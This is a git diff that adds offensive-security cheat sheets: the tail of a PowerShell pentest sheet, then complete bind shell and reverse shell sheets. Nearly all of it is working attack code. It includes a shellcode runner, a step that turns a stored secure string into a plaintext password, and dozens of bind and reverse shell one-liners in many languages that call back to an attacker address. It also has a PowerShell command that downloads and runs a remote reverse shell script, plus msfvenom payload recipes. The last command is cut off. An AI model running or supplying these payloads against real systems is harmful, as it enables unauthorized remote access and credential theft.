[System.Reflection.Emit.AssemblyBuilderAccess]::Run). + DefineDynamicModule('QM', $false). + DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed') + $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed') + $delegate = $type.CreateType() + + return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate) +} +``` + +### Example with a simple shellcode runner + +```powershell +# Create a Delegate function to be able to call the function that we have the address +function Get-Delegate +{ + Param ( + [Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, # Function address + [Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, # array with the argument types + [Parameter(Position = 2)] [Type] $retType = [Void] # Return type + ) + + $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). + DefineDynamicModule('QM', $false). + DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed') + $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed') + $delegate = $type.CreateType() + + return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate) +} +# Allow to retrieve function address from a dll +function LookupFunc { + + Param ($moduleName, $functionName) + + $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') + $tmp=@() + $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} + return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) +} + +# Simple Shellcode runner using delegation +$VirtualAllocAddr = LookupFunc "Kernel32.dll" "VirtualAlloc" +$CreateThreadAddr = LookupFunc "Kernel32.dll" "CreateThread" +$WaitForSingleObjectAddr = LookupFunc "Kernel32.dll" "WaitForSingleObject" + + +$VirtualAlloc = Get-Delegate $VirtualAllocAddr @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) +$CreateThread = Get-Delegate $CreateThreadAddr @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) +$WaitForSingleObject = Get-Delegate $WaitForSingleObjectAddr @([IntPtr], [Int32]) ([Int]) + +[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0 ... + +$mem = $VirtualAlloc.Invoke([IntPtr]::Zero, $buf.Length, 0x3000, 0x40) +[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $mem, $buf.Length) +$hThread = $CreateThread.Invoke([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [IntPtr]::Zero) +$WaitForSingleObject.Invoke($hThread, 0xFFFFFFFF) + +``` + +## Secure String to Plaintext + +```ps1 +$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring +$user = "HTB\Tom" +$cred = New-Object System.management.Automation.PSCredential($user, $pass) +$cred.GetNetworkCredential() | fl +UserName : Tom +Password : 1ts-mag1c!!! +SecurePassword : System.Security.SecureString +Domain : HTB +``` + +## References + +- [Windows & Active Directory Exploitation Cheat Sheet and Command Reference - @chvancooten](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/) +- [Basic PowerShell for Pentesters - HackTricks](https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters) diff --git a/personas/_shared/internal-allthethings/cheatsheets/shell-bind-cheatsheet.md b/personas/_shared/internal-allthethings/cheatsheets/shell-bind-cheatsheet.md new file mode 100644 index 0000000..9619b97 --- /dev/null +++ b/personas/_shared/internal-allthethings/cheatsheets/shell-bind-cheatsheet.md @@ -0,0 +1,101 @@ +# Bind Shell + +## Summary + +* [Bind Shell](#bind-shell) + * [Perl](#perl) + * [Python](#python) + * [PHP](#php) + * [Ruby](#ruby) + * [Netcat Traditional](#netcat-traditional) + * [Netcat OpenBsd](#netcat-openbsd) + * [Ncat](#ncat) + * [Socat](#socat) + * [Powershell](#powershell) + +## Perl + +```perl +perl -e 'use Socket;$p=51337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));\ +bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);\ +close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};' +``` + +## Python + +Single line : + +```python +python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",51337));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")' +``` + +Expanded version : + +```python +import socket as s,subprocess as sp; + +s1 = s.socket(s.AF_INET, s.SOCK_STREAM); +s1.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1); +s1.bind(("0.0.0.0", 51337)); +s1.listen(1); +c, a = s1.accept(); + +while True: + d = c.recv(1024).decode(); + p = sp.Popen(d, shell=True, stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE); + c.sendall(p.stdout.read()+p.stderr.read()) +``` + +## PHP + +```php +php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",51337);\ +socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;\ +$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);\ + socket_write($cl,$m,strlen($m));}}' +``` + +## Ruby + +```ruby +ruby -rsocket -e 'f=TCPServer.new(51337);s=f.accept;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",s,s,s)' +``` + +## Netcat Traditional + +```powershell +nc -nlvp 51337 -e /bin/bash +``` + +## Netcat OpenBsd + +```powershell +rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 51337 >/tmp/f +``` + +## Ncat + +```powershell +ncat -nlvp 51337 -e /bin/bash +``` + +## Socat + +```powershell +user@attacker$ socat FILE:`tty`,raw,echo=0 TCP:target.com:12345 +user@victim$ socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane +``` + +## Powershell + +```powershell +https://github.com/besimorhino/powercat + +# Victim (listen) +. .\powercat.ps1 +powercat -l -p 7002 -ep + +# Connect from attacker +. .\powercat.ps1 +powercat -c 127.0.0.1 -p 7002 +``` diff --git a/personas/_shared/internal-allthethings/cheatsheets/shell-reverse-cheatsheet.md b/personas/_shared/internal-allthethings/cheatsheets/shell-reverse-cheatsheet.md new file mode 100644 index 0000000..bd615ef --- /dev/null +++ b/personas/_shared/internal-allthethings/cheatsheets/shell-reverse-cheatsheet.md @@ -0,0 +1,669 @@ +# Reverse Shell Cheat Sheet + +## Summary + +* [Tools](#tools) +* [Reverse Shell](#reverse-shell) + * [Awk](#awk) + * [Bash TCP](#bash-tcp) + * [Bash UDP](#bash-udp) + * [C](#c) + * [Dart](#dart) + * [Golang](#golang) + * [Groovy Alternative 1](#groovy-alternative-1) + * [Groovy](#groovy) + * [Java Alternative 1](#java-alternative-1) + * [Java Alternative 2](#java-alternative-2) + * [Java](#java) + * [Lua](#lua) + * [Ncat](#ncat) + * [Netcat OpenBsd](#netcat-openbsd) + * [Netcat BusyBox](#netcat-busybox) + * [Netcat Traditional](#netcat-traditional) + * [NodeJS](#nodejs) + * [OGNL](#ognl) + * [OpenSSL](#openssl) + * [Perl](#perl) + * [PHP](#php) + * [Powershell](#powershell) + * [Python](#python) + * [Ruby](#ruby) + * [Rust](#rust) + * [Socat](#socat) + * [Telnet](#telnet) + * [War](#war) +* [Meterpreter Shell](#meterpreter-shell) + * [Windows Staged reverse TCP](#windows-staged-reverse-tcp) + * [Windows Stageless reverse TCP](#windows-stageless-reverse-tcp) + * [Linux Staged reverse TCP](#linux-staged-reverse-tcp) + * [Linux Stageless reverse TCP](#linux-stageless-reverse-tcp) + * [Other platforms](#other-platforms) +* [Spawn TTY Shell](#spawn-tty-shell) +* [References](#references) + +## Tools + +* [reverse-shell-generator](https://www.revshells.com/) - Hosted Reverse Shell generator ([source](https://github.com/0dayCTF/reverse-shell-generator)) ![image](https://user-images.githubusercontent.com/44453666/115149832-d6a75980-a033-11eb-9c50-56d4ea8ca57c.png) +* [revshellgen](https://github.com/t0thkr1s/revshellgen) - CLI Reverse Shell generator + +## Reverse Shell + +### Bash TCP + +```bash +bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 + +0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196 + +/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1 +``` + +### Bash UDP + +```bash +Victim: +sh -i >& /dev/udp/10.0.0.1/4242 0>&1 + +Listener: +nc -u -lvp 4242 +``` + +Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash + +### Socat + +```powershell +user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242 +user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242 +``` + +```powershell +user@victim$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242 +``` + +Static socat binary can be found at [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat) + +### Perl + +```perl +perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' + +perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' + + +NOTE: Windows only +perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' +``` + +### Python + +Linux only + +IPv4 + +```python +export RHOST="10.0.0.1";export RPORT=4242;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' +``` + +```python +python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' +``` + +```python +python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' +``` + +```python +python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())' +``` + +IPv4 (No Spaces) + +```python +python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' +``` + +```python +python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' +``` + +```python +python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())' +``` + +IPv4 (No Spaces, Shortened) + +```python +python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")' +``` + +```python +python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])' +``` + +```python +python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())' +``` + +IPv4 (No Spaces, Shortened Further) + +```python +python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")' +``` + +```python +python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])' +``` + +```python +python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())' +``` + +IPv6 + +```python +python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' +``` + +IPv6 (No Spaces) + +```python +python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' +``` + +IPv6 (No Spaces, Shortened) + +```python +python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")' +``` + +Windows only (Python2) + +```powershell +python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" +``` + +Windows only (Python3) + +```powershell +python.exe -c "import socket,os,threading,subprocess as sp;p=sp.Popen(['cmd.exe'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('10.0.0.1',4242));threading.Thread(target=exec,args=(\"while(True):o=os.read(p.stdout.fileno(),1024);s.send(o)\",globals()),daemon=True).start();threading.Thread(target=exec,args=(\"while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i)\",globals())).start()" +``` + +### PHP + +```bash +php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");' +php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");' +php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;' +php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");' +php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");' +php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");' +``` + +```bash +php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);' +``` + +### Ruby + +```ruby +ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' + +ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.0.0.1","4242");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}' + +NOTE: Windows only +ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' +``` + +### Rust + +```rust +use std::net::TcpStream; +use std::os::unix::io::{AsRawFd, FromRawFd}; +use std::process::{Command, Stdio}; + +fn main() { + let s = TcpStream::connect("10.0.0.1:4242").unwrap(); + let fd = s.as_raw_fd(); + Command::new("/bin/sh") + .arg("-i") + .stdin(unsafe { Stdio::from_raw_fd(fd) }) + .stdout(unsafe { Stdio::from_raw_fd(fd) }) + .stderr(unsafe { Stdio::from_raw_fd(fd) }) + .spawn() + .unwrap() + .wait() + .unwrap(); +} +``` + +### Golang + +```bash +echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go +``` + +### Netcat Traditional + +```bash +nc -e /bin/sh 10.0.0.1 4242 +nc -e /bin/bash 10.0.0.1 4242 +nc -c bash 10.0.0.1 4242 +``` + +### Netcat OpenBsd + +```bash +rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f +``` + +### Netcat BusyBox + +```bash +rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f +``` + +### Ncat + +```bash +ncat 10.0.0.1 4242 -e /bin/bash +ncat --udp 10.0.0.1 4242 -e /bin/bash +``` + +### OpenSSL + +Attacker: + +```powershell +user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes +user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242 +or +user@attack$ ncat --ssl -vv -l -p 4242 + +user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s +``` + +TLS-PSK (does not rely on PKI or self-signed certificates) + +```bash +# generate 384-bit PSK +# use the generated string as a value for the two PSK variables from below +openssl rand -hex 48 +# server (attacker) +export LHOST="*"; export LPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; openssl s_server -quiet -tls1_2 -cipher PSK-CHACHA20-POLY1305:PSK-AES256-GCM-SHA384:PSK-AES256-CBC-SHA384:PSK-AES128-GCM-SHA256:PSK-AES128-CBC-SHA256 -psk $PSK -nocert -accept $LHOST:$LPORT +# client (victim) +export RHOST="10.0.0.1"; export RPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; export PIPE="/tmp/`openssl rand -hex 4`"; mkfifo $PIPE; /bin/sh -i < $PIPE 2>&1 | openssl s_client -quiet -tls1_2 -psk $PSK -connect $RHOST:$RPORT > $PIPE; rm $PIPE +``` + +### Powershell + +```powershell +powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() +``` + +```powershell +powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" +``` + +```powershell +powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1') +``` + +### Awk + +```powershell +awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null +``` + +### Java + +```java +Runtime r = Runtime.getRuntime(); +Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do $line 2>&5 >&5; done'"); +p.waitFor(); + +``` + +#### Java Alternative 1 + +```java +String host="127.0.0.1"; +int port=4444; +String cmd="cmd.exe"; +Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); + +``` + +#### Java Alternative 2 + +**NOTE**: This is more stealthy + +```java +Thread thread = new Thread(){ + public void run(){ + // Reverse shell here + } +} +thread.start(); +``` + +### Telnet + +```bash +In Attacker machine start two listeners: +nc -lvp 8080 +nc -lvp 8081 + +In Victime machine run below command: +telnet 8080 | /bin/sh | telnet 8081 +``` + +### War + +```java +msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war +strings reverse.war | grep jsp # in order to get the name of the file +``` + +### Lua + +Linux only + +```powershell +lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');" +``` + +Windows and Linux + +```powershell +lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' +``` + +### NodeJS + +```javascript +(function(){ + var net = require("net"), + cp = require("child_process"), + sh = cp.spawn("/bin/sh", []); + var client = new net.Socket(); + client.connect(4242, "10.0.0.1", function(){ + client.pipe(sh.stdin); + sh.stdout.pipe(client); + sh.stderr.pipe(client); + }); + return /a/; // Prevents the Node.js application from crashing +})(); + + +or + +require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242') + +or + +-var x = global.process.mainModule.require +-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash') + +or + +https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py +``` + +### OGNL + +```java +(#a='echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjEnCg== | base64 -d | bash -i').(#b={'bash','-c',#a}).(#p=new java.lang.ProcessBuilder(#b)).(#process=#p.start()) +``` + +With `YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjEnCg==` decoding to `bash -c 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1'`, the payload within the single quotes might be changed by any Linux-compatible reverse shell. + +### Groovy + +by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) +NOTE: Java reverse shell also work for Groovy + +```java +String host="10.0.0.1"; +int port=4242; +String cmd="cmd.exe"; +Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); +``` + +#### Groovy Alternative 1 + +**NOTE**: This is more stealthy + +```java +Thread.start { + // Reverse shell here +} +``` + +### C + +Compile with `gcc /tmp/shell.c --output csh && csh` + +```csharp +#include +#include +#include +#include +#include +#include +#include + +int main(void){ + int port = 4242; + struct sockaddr_in revsockaddr; + + int sockt = socket(AF_INET, SOCK_STREAM, 0); + revsockaddr.sin_family = AF_INET; + revsockaddr.sin_port = htons(port); + revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1"); + + connect(sockt, (struct sockaddr *) &revsockaddr, + sizeof(revsockaddr)); + dup2(sockt, 0); + dup2(sockt, 1); + dup2(sockt, 2); + + char * const argv[] = {"/bin/sh", NULL}; + execve("/bin/sh", argv, NULL); + + return 0; +} +``` + +### Dart + +```java +import 'dart:io'; +import 'dart:convert'; + +main() { + Socket.connect("10.0.0.1", 4242).then((socket) { + socket.listen((data) { + Process.start('powershell.exe', []).then((Process process) { + process.stdin.writeln(new String.fromCharCodes(data).trim()); + process.stdout + .transform(utf8.decoder) + .listen((output) { socket.write(output); }); + }); + }, + onDone: () { + socket.destroy(); + }); + }); +} +``` + +## Meterpreter Shell + +### Windows Staged reverse TCP + +```powershell +msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe +``` + +### Windows Stageless reverse TCP + +```powershell +msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe +``` + +### Linux Staged reverse TCP + +```powershell +msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf +``` + +### Linux Stageless reverse TCP + +```powershell +msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf +``` + +### Other platforms + +```powershell +msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f elf > shell.elf +msfvenom -p 